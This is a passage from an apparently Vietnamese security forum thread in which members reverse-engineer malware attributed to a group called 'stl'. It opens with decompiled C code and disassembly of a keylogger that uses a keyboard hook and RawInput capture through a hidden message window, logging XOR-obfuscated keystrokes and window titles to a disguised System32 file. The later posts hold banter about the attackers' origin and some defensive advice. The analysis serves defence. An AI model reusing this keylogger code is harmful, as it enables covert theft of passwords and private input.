        CreateThread(0, 0, ThreadProcInExplorer, 0, 0, &ThreadId);
    }

    return -1;

Hàm InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard() sẽ create file msdata.vxd trong thư mục System32
Code:
int InitMSDataVXDFile_And_LoadIEFrameOCX_And_HookKeyboard()
{
    DWORD ThreadId;
    CHAR szMsdataVxdPath[260];

    if (S_OK != SHGetFolderPathA(0, CSIDL_SYSTEM), 0, 0, szMsdataVxdPath)
        return -1;

    sprintf_s(szMsdataVxdPath, 260, "%s\\msdata.vxd", szMsdataVxdPath);
    g_hFile_Msdatavxd = CreateMSDataVxdFile(szMsdataVxdPath),
    if (-1 == g_hFile_Msdatavxd)
        return -1;

    SetWindowsHookExA(WH_KEYBOARD, KbdHookProc, 0, GetCurrentThreadId(););
    write_string_after_xor_with_0x6F_to_msdata_vxd_file(0x12, g_hFile_Msdatavxd, "\r\n[Logon Window]\r\n");

    ThreadId = 0;
    CreateThread(0, 0, RemoteLoadIEFrameOCX, 0, 0, &ThreadId);

    return 0;
}

Hàm KbdHookProc chính là hàm DllRegisterServer:
Code:
HRESULT __stdcall KbdHookProc(int code, WPARAM wparam, LPARAM lparam)
{
    DWORD len;
    HWND hwnd;
    int p;
    char ach;
    WORD nSc1, nSc2;
    HANDLE hFile;
    char *psz;
    SYSTEMTIME SystemTime;
    char szText[1500];
    char szWndText[1024];

    if ((code != 0)|| !(~(lparam >> 31) & 1) || wparam == VK_CAPITAL || wparam == VK_SHIFT || wparam == VK_LSHIFT)
        return CallNextHookEx(0, code, wparam, lparam);

    hFile = g_hmsdatavxdfile;

    if (wparam == VK_RETURN)
    {
        psz = "\r\n";
        len = 2;
    }
    else if (wparam == VK_SPACE)
    {
        psz = L" ";
        len = 1;
    }
    else if (wparam == VK_LWIN || wparam == VK_RWIN)
    {
        psz = "[Windows]";
        len = 9;
    }
    else if (wparam == VK_TAB)
    {
        psz = L"\t";
        len = 1;
    }
    else
    {
        hwnd = GetForegroundWindow();
        if (hwnd != g_hForegroundWndLast)
        {
            memset(szWndText, 0, 1024);
            GetWindowTextA(hwnd, szWndText, 1024);

            memset(szText, 0, 1500);
            GetLocalTime(&SystemTime);
            sprintf_s(szText, 1500, "\r\n\r\n[%s] - [%.4i/%.2i/%.2i %.2i/%.2i/%.2i]:\r\n",
                szWndText, SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay,
                SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);

            if (!write_string_after_xor_with_0x6F_to_msdata_vxd_file(strlen(szText), hFile, szText))
                return -1;

            g_hForegroundWndLast = hwnd;
        }

        GetKeyboardState(&g_abKeyState);
        nSc1 = MapVirtualKeyA(wparam, 0);
        if (ToAscii(wparam, v8, &g_abKeyState, &g_Char, 0) == 1)
        {
            if (g_Char > VK_SPACE)
            {
                wsprintfA(g_szKey, "%c", g_Char);
                len = strlen(g_szKey);
                psz = g_szKey;
            }
            nSc2 = MapVirtualKeyA(wparam, 0);
            if (GetKeyNameTextA(v9 << 16, g_szKey, 16) > 0)
            {
                len = strlen(g_szKey);
                psz = g_szKey;
            }
        }
        else
        {
            nSc1 = MapVirtualKeyA(wparam, 0);
            if (GetKeyNameTextA(nScancode << 16, g_szKey, 16) > 0)
            {
                len = strlen(g_szKey);
                psz = g_szKey;
                hFile = g_hmsdatavxdfile;
            }
        }
    }

    write_string_after_xor_with_0x6F_to_msdata_vxd_file(len, hFile, psz);
    return CallNextHookEx(0, code, wparam, lparam);
}


[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 08/10/2011 11:13:54 (+0700) | #1157 | 248346
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Sợ chưa đủ, keylog không hết, stl coder còn phang thêm một cách keyboard log khác, dùng WM_INPUT và RawInput. Kỹ thuật này ít phổ biến nên có thể có bạn chưa biết. Tôi trình bày luôn:
Trong các ThreadProcInxxx trên, stl tạo một window có size = 0, pos = 0, thuộc tính là HWND_MESSAGE. Tức window này sẽ luôn luôn nhận message cho dù nó có hidden, lost focus hay không.
Code:
memset(&wcex, 0, 0x30u);
    wcex.cbSize = 48;
    wcex.lpfnWndProc = MSDataWndProc;
    wcex.hInstance = GetModuleHandleA(0);
    wcex.lpszClassName = "msdata";
    RegisterClassExA(&wcex);
    CreateWindowExA(0,  "msdata", "msdata", 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);
   ..........

Và code ASM của MSDataWndProc:
Code:
.text:10001888     ON_WM_CREATE:                           ; DATA XREF: .text:WMHandlerTableo
.text:10001888 01C     mov     eax, [ebp+hWnd]
.text:1000188B 01C     push    0Ch                         ; cbSize
.text:1000188D 020     push    1                           ; uiNumDevices
.text:1000188F 024     lea     ecx, [ebp+rawInputDevices]
.text:10001892 024     push    ecx                         ; pRawInputDevices
.text:10001893 028     mov     dword ptr [ebp+rawInputDevices.usUsagePage], 60001h
.text:1000189A 028     mov     [ebp+rawInputDevices.dwFlags], RIDEV_INPUTSINK
.text:100018A1 028     mov     [ebp+rawInputDevices.hwndTarget], eax
.text:100018A4 028     call    ds:RegisterRawInputDevices
.text:100018A4
.text:100018AA 01C     test    eax, eax
.text:100018AC 01C     jnz     @@Return_0
.text:100018AC
.text:100018B2 01C     or      eax, 0FFFFFFFFh
.text:100018B5 01C     pop     edi
.text:100018B6 018     pop     esi
.text:100018B7 014     pop     ebx
.text:100018B8 010     mov     esp, ebp
.text:100018BA 004     pop     ebp
.text:100018BB 000     retn    10h
.text:100018BB
.text:100018BE     ; ---------------------------------------------------------------------------
.text:100018BE
.text:100018BE     ON_WM_INPUT:                            ; CODE XREF: MSDataWndProc+21j
.text:100018BE                                             ; DATA XREF: .text:WMHandlerTableo
.text:100018BE 01C     mov     edi, [ebp+cbSize]
.text:100018C1 01C     mov     ebx, ds:GetRawInputData
.text:100018C7 01C     push    16                          ; cbSizeHeader
.text:100018C9 020     lea     edx, [ebp+cbSize]
.text:100018CC 020     push    edx                         ; pcbSize
.text:100018CD 024     push    0                           ; pData
.text:100018CF 028     push    RID_INPUT                   ; uiCommand
.text:100018D4 02C     push    edi                         ; hRawInput
.text:100018D5 030     call    ebx ; GetRawInputData
.text:100018D5
.text:100018D7 01C     mov     eax, [ebp+cbSize]
.text:100018DA 01C     push    eax                         ; dwBytes
.text:100018DB 020     push    0                           ; dwFlags
.text:100018DD 024     call    ds:GetProcessHeap
.text:100018DD
.text:100018E3 024     push    eax                         ; hHeap
.text:100018E4 028     call    ds:HeapAlloc
.text:100018E4
.text:100018EA 01C     push    10h                         ; cbSizeHeader
.text:100018EC 020     lea     ecx, [ebp+cbSize]
.text:100018EF 020     push    ecx                         ; pcbSize
.text:100018F0 024     mov     esi, eax
.text:100018F2 024     push    esi                         ; pData
.text:100018F3 028     push    RID_INPUT                   ; uiCommand
.text:100018F8 02C     push    edi                         ; hRawInput
.text:100018F9 030     call    ebx ; GetRawInputData
.text:100018F9
.text:100018FB 01C     test    eax, eax
.text:100018FD 01C     jz      short @@FreeMem_And_Return_0
.text:100018FD
.text:100018FF 01C     cmp     [esi+RAWINPUTHEADER.dwType], RIM_TYPEKEYBOARD
.text:10001902 01C     jnz     short @@FreeMem_And_Return_0
.text:10001902
.text:10001904 01C     cmp     [esi+RAWINPUT.data.keyboard.Message], WM_KEYFIRST
.text:1000190B 01C     jnz     short @@FreeMem_And_Return_0
.text:1000190B
.text:1000190D 01C     movzx   ecx, [esi+RAWINPUT.data.keyboard.VKey] ; uCode
.text:10001911 01C     call    save_key_to_msdata_vxd_file
.text:10001911
.text:10001916 01C     cmp     eax, 0FFFFFFFFh
.text:10001919 01C     jnz     short @@FreeMem_And_Return_0
.text:10001919
.text:1000191B 01C     mov     edx, [ebp+hWnd]
.text:1000191E 01C     push    edx                         ; hWnd
.text:1000191F 020     call    dssmilieestroyWindow
.text:1000191F
.text:10001925
.text:10001925     @@FreeMem_And_Return_0:                 ; CODE XREF: MSDataWndProc+9Dj
.text:10001925                                             ; MSDataWndProc+A2j
.text:10001925                                             ; MSDataWndProc+ABj
.text:10001925                                             ; MSDataWndProc+B9j
.text:10001925 01C     push    esi                         ; lpMem
.text:10001926 020     push    0                           ; dwFlags
.text:10001928 024     call    ds:GetProcessHeap
.text:10001928
.text:1000192E 024     push    eax                         ; hHeap
.text:1000192F 028     call    ds:HeapFree
.text:1000192F
.text:10001935 01C     xor     eax, eax
.text:10001937 01C     pop     edi
.text:10001938 018     pop     esi
.text:10001939 014     pop     ebx
.text:1000193A 010     mov     esp, ebp
.text:1000193C 004     pop     ebp
.text:1000193D 000     retn    10h
.text:1000193D
.text:10001940     ; ---------------------------------------------------------------------------
.text:10001940
.text:10001940     ON_WM_DESTROY:                          ; CODE XREF: MSDataWndProc+21j
.text:10001940                                             ; DATA XREF: .text:WMHandlerTableo
.text:10001940 01C     mov     eax, g_hFile_Msdatavxd
.text:10001945 01C     cmp     eax, 0FFFFFFFFh
.text:10001948 01C     jz      short @@Quit
.text:10001948
.text:1000194A 01C     push    eax                         ; hObject
.text:1000194B 020     call    ds:CloseHandle
.text:1000194B
.text:10001951
.text:10001951     @@Quit:                                 ; CODE XREF: MSDataWndProc+E8j
.text:10001951 01C     push    0                           ; nExitCode
.text:10001953 020     call    dssmilieostQuitMessage
.text:10001953
.text:10001959
.text:10001959     @@Return_0:                             ; CODE XREF: MSDataWndProc+4Cj
.text:10001959 01C     xor     eax, eax
.text:1000195B 01C     pop     edi
.text:1000195C 018     pop     esi
.text:1000195D 014     pop     ebx
.text:1000195E 010     mov     esp, ebp
.text:10001960 004     pop     ebp
.text:10001961 000     retn    10h
.text:10001961
.text:10001964     ; ---------------------------------------------------------------------------
.text:10001964
.text:10001964     ON_WM_QUERYENDSESSION:                  ; CODE XREF: MSDataWndProc+21j
.text:10001964                                             ; DATA XREF: .text:WMHandlerTableo
.text:10001964 01C     call    SavePowerOffTime
.text:10001964
.text:10001969 01C     push    0                           ; uExitCode
.text:1000196B 020     call    ds:ExitProcess
.text:1000196B
.text:10001971     ; ---------------------------------------------------------------------------
.text:10001971
.text:10001971     DefaultHandler:                         ; CODE XREF: MSDataWndProc+14j
.text:10001971                                             ; MSDataWndProc+21j
.text:10001971                                             ; DATA XREF: .text:WMHandlerTableo
.text:10001971 01C     mov     eax, [ebp+cbSize]
.text:10001974 01C     mov     edx, [ebp+wParam]
.text:10001977 01C     push    eax                         ; lParam
.text:10001978 020     mov     eax, [ebp+hWnd]
.text:1000197B 020     push    edx                         ; wParam
.text:1000197C 024     push    ecx                         ; Msg
.text:1000197D 028     push    eax                         ; hWnd
.text:1000197E 02C     call    dssmilieefWindowProcA
.text:1000197E
.text:10001984 01C     pop     edi
.text:10001985 018     pop     esi
.text:10001986 014     pop     ebx
.text:10001987 010     mov     esp, ebp
.text:10001989 004     pop     ebp
.text:1000198A 000     retn    10h
.text:1000198A
.text:1000198A     MSDataWndProc endp

Hàm save_key_to_msdata_vxd_file cũng gần tương tự như code của hàm KbdHookProc.

Mong được các bạn đóng góp kết quả RCE của các bạn, các thắc mắc, trao đổi...
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 08/10/2011 13:40:42 (+0700) | #1158 | 248350
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
he he, malware của STL giống như nồi lẩu thập cẩm vậy đó. Chỉ có điều thành phần tạo nên nồi lẩu này ăn vô không bị điên thì cũng khùng, không bị khùng cũng bị ngộ độc... màng não smilie .

Thật vinh dự cho nền CNTT nước nhà. Nếu xuất khẩu loại "lẩu thập cẩm" này chắc cũng thu bộn ngoại tệ á smilie nhưng đây là chuyện nhỏ... chuyện quan trọng hơn là chẳng mấy hồi ta sánh vai với các cường quốc điện toán.

Hôm bữa tớ ngồi làm 1 bài toán hỗn hợp, phân tích các thông tin của stl thì lộ ra một địa danh có số lần xuất hiện nhiều nhất, đố các bạn đó là địa danh gì? smilie
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 08/10/2011 13:55:49 (+0700) | #1159 | 248352
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???

stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.

Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.

Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ?
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 08/10/2011 14:07:18 (+0700) | #1160 | 248355
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

TQN wrote:
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???

stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.

Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.

Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ? 


hì hì, anh quên hỏi cụ thể hơn: địa danh nào ở Việt Nam smilie.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 09/10/2011 13:58:49 (+0700) | #1161 | 248388
freedomsg
Member

[Minus]    0    [Plus]
Joined: 08/10/2011 15:05:36
Messages: 1
Offline
[Profile] [PM]
Hix hix, nghe các bác nói bọn stl chế malware để lấy cắp "thông tin cá nhân" của nạn nhân trên internet mình cũng cảm thấy bất an cho pc của mình (mình thuộc phe tự do) và đồng thời cũng khinh bỉ tụi nó cực độ smilie
Ko chừng pc mình đã được bọn nó ghé thăm mà mình ko biết. Hôm qua, mình đã down Tcpview và SmartSnif (còn cái Wai-shet gì đó phức tạp quá!!) để kiểm tra các liên kết nhưng trong list có cả trăm connection thì ai mà biết liên kết nào là của bọn nó.
Các bạn cao tăng trên đây có thể làm một bài hướng dẫn cụ thể cách phòng-chống-diệt mèo que cho mọi người được ko ? Theo mình nghĩ, phòng thủ ở đây là sử dụng một chương trình AntiVirut được cập nhật thường xuyên (mình sử dụng Avira Free) nhưng nếu bọn chúng tung ra con mèo que mới trong khi các AntiVirut chưa được cập nhật thì nguy cơ bị dính vẫn còn. Không biết còn kiểu phòng thủ nào nữa ko ??

Thks.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 09/10/2011 14:22:42 (+0700) | #1162 | 248389
[Avatar]
quygia128
Member

[Minus]    0    [Plus]
Joined: 15/07/2009 20:50:28
Messages: 119
Location: Somewhere
Offline
[Profile] [PM] [WWW]
Cách phòng chống thì bạn đọc lại từ đầu tới giờ là có thể hiểu phòng chống bằng cách nào rồi. Trong bài thảo luận này đã nói đến rất nhiều tại bạn chưa đọc hết hay sao ấy ?
để kiểm tra các liên kết nhưng trong list có cả trăm connection thì ai mà biết liên kết nào là của bọn nó.  

Bạn hãy tắt hết các chương trình cần truy cập mạng của mình : Trình duyệt web, yahoo.... rồi bạn chạy chương trình SmartSniff, dow bản đã fix của anh TQN ở trang trước để tiến hành Sniff thôi.
Khi có kết nối ra ngoài nó sẽ ghi nhận lại địa chỉ IP, bác có thể vào mấy trang kiểm tra IP để xem nó kết nối đi đâu smilie
.::Mới bắt đầu trên con đường dài::.
.::Super Newbiez::.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 09/10/2011 19:01:53 (+0700) | #1163 | 248400
namkaka
Member

[Minus]    0    [Plus]
Joined: 22/03/2009 22:30:23
Messages: 17
Offline
[Profile] [PM]

conmale wrote:

TQN wrote:
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???

stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.

Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.

Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ? 


hì hì, anh quên hỏi cụ thể hơn: địa danh nào ở Việt Nam smilie

em đoán đó là nha trang quê cũ của anh đúng không ?
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 09/10/2011 22:04:08 (+0700) | #1164 | 248406
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Hì hì, em thì chỉ nghĩ là stl phải nhắc nhiều nhất là Hà Nội hay Hải Phòng thôi ! Phải không anh conmale. Cho đáp án đi anh smilie Đừng có nói là tụi nó nhắc tới Gialai quê em nhé smilie
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 10/10/2011 01:49:52 (+0700) | #1165 | 248407
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

TQN wrote:
Hì hì, em thì chỉ nghĩ là stl phải nhắc nhiều nhất là Hà Nội hay Hải Phòng thôi ! Phải không anh conmale. Cho đáp án đi anh smilie Đừng có nói là tụi nó nhắc tới Gialai quê em nhé smilie
 


Hì hì, không phải Hà Nội, không phải Hải Phòng, không phải Gia Lai, cũng chẳng phải Nha Trang mà là: Thái Nguyên.

@ namkaka: chắc chắn không phải Nha Trang của anh rồi. Dân Nha Trang hiền khô à.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 10/10/2011 13:57:03 (+0700) | #1166 | 248464
[Avatar]
tmd
Member

[Minus]    0    [Plus]
Joined: 28/06/2006 03:39:48
Messages: 2951
Offline
[Profile] [PM]
Sao lại là "Thái Nguyên", vị trí địa lý này nằm ở khu vực thông tin nào vậy mr conmale. Thông này có lẽ nằm ở Thông tin zombie,thông tin server, thông tin whois,thông tin người bị lộ diện ...?
3 giai đoạn của con... người, ban đầu dek biết gì thì phải thăm dò, sau đó biết rồi thì phải thân thiết, sau cùng khi quá thân thiết rồi thì phải tình thương mến thương. Nhưng mà không thương được thì ...
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 10/10/2011 14:33:00 (+0700) | #1167 | 248466
[Avatar]
dexxa
Member

[Minus]    0    [Plus]
Joined: 01/07/2006 20:35:01
Messages: 121
Offline
[Profile] [PM]
Hì hì, không phải Hà Nội, không phải Hải Phòng, không phải Gia Lai, cũng chẳng phải Nha Trang mà là: Thái Nguyên.  


Ở Thái nguyên có bác Hoàng Hiệp "ghê gúm" lắm mà smilie
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 10/10/2011 15:01:29 (+0700) | #1168 | 248469
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

tmd wrote:
Sao lại là "Thái Nguyên", vị trí địa lý này nằm ở khu vực thông tin nào vậy mr conmale. Thông này có lẽ nằm ở Thông tin zombie,thông tin server, thông tin whois,thông tin người bị lộ diện ...? 


Từ tất cả các nguồn có thể tổng hợp được chớ không riêng một nguồn nào hết.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 10/10/2011 16:40:57 (+0700) | #1169 | 248479
[Avatar]
angel_of_devil
Member

[Minus]    0    [Plus]
Joined: 23/10/2004 14:57:09
Messages: 154
Offline
[Profile] [PM]
http://www.ddth.com/showthread.php/365466-bui-hoang-hiep-lua-dao.html <<< Hoàng Hiệp này à?
Ngoảnh nhìn lại cuộc đời như giấc mộng
Được mất bại thành bỗng chốc hoá hư không
[Up] [Print Copy]
  [Analyzing]   Phân tích tính chất vài trận DDoS HVA vừa qua. 10/10/2011 21:09:18 (+0700) | #1170 | 248491
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

conmale wrote:

TQN wrote:
Hì hì, em thì chỉ nghĩ là stl phải nhắc nhiều nhất là Hà Nội hay Hải Phòng thôi ! Phải không anh conmale. Cho đáp án đi anh smilie Đừng có nói là tụi nó nhắc tới Gialai quê em nhé smilie
 


Hì hì, không phải Hà Nội, không phải Hải Phòng, không phải Gia Lai, cũng chẳng phải Nha Trang mà là: Thái Nguyên.

@ namkaka: chắc chắn không phải Nha Trang của anh rồi. Dân Nha Trang hiền khô à. 


Sao lại là Thái Nguyên nhỡ smilie em không thấy có sự quan hệ hữu lý nào giữa một tình thuộc khu vực nghèo nhất phía bắc với một lực lượng khá hùng hậu và quy củ như stl

@TQN: tớ không hiểu sao Gialai, Komtum, Daklak ... luôn là nơi phát tích rất nhiều cái tên rất nổi tiếng trong giới kỹ thuật ( giờ tính thêm lão nữa thì vấn đề này lại càng dc khẳng định ) smilie
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|